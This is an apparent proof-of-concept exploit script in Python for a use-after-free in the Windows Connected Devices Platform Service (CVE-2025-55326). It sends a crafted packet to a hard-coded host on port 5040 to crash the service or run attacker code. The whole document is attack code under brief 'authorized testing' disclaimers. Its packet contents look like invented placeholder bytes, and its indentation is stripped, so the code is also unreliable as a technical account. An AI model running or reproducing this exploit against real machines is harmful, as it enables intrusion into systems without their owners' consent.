The following code is for security research and authorized testing only.
python
# CVE-2025-55326 PoC - Conceptual Proof of Concept
# Use After Free in Windows Connected Devices Platform Service (Cdpsvc)
# WARNING: This is for educational/research purposes only
import socket
import struct
import sys
TARGET_HOST = "192.168.1.100" # Target Windows machine
TARGET_PORT = 5040 # Common CDPSvc discovery port
def craft_malicious_packet():
"""
Craft a malicious CDPSvc protocol packet to trigger UAF vulnerability.
The packet is designed to cause the service to free a memory object
while still maintaining a reference to it.
"""
# CDPSvc protocol header (simplified)
# Magic bytes for Connected Devices Platform discovery protocol
magic = b'\x00\x06'
# Message type - device discovery request
msg_type = struct.pack('<H', 0x0001)
# Payload designed to trigger UAF condition
# First part: valid request that allocates memory
valid_request = b'\x00' * 256
# Second part: trigger that causes premature free
# followed by continued reference to freed memory
trigger = b'\xFF' * 128 + b'\xDE\xAD\xBE\xEF' * 32
# Combine into malicious packet
packet = magic + msg_type + struct.pack('<I', len(valid_request))
packet += valid_request + trigger
return packet
def exploit():
"""
Send the malicious packet to trigger the UAF vulnerability
in Cdpsvc service.
"""
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(10)
sock.connect((TARGET_HOST, TARGET_PORT))
payload = craft_malicious_packet()
sock.send(payload)
print(f"[*] Malicious packet sent to {TARGET_HOST}:{TARGET_PORT}")
print("[*] If successful, the Cdpsvc service may crash or execute attacker code")
sock.close()
except Exception as e:
print(f"[-] Error: {e}")
if __name__ == "__main__":
print("=" * 60)
print("CVE-2025-55326 PoC - Cdpsvc Use After Free")
print("For authorized security testing only")
print("=" * 60)
exploit()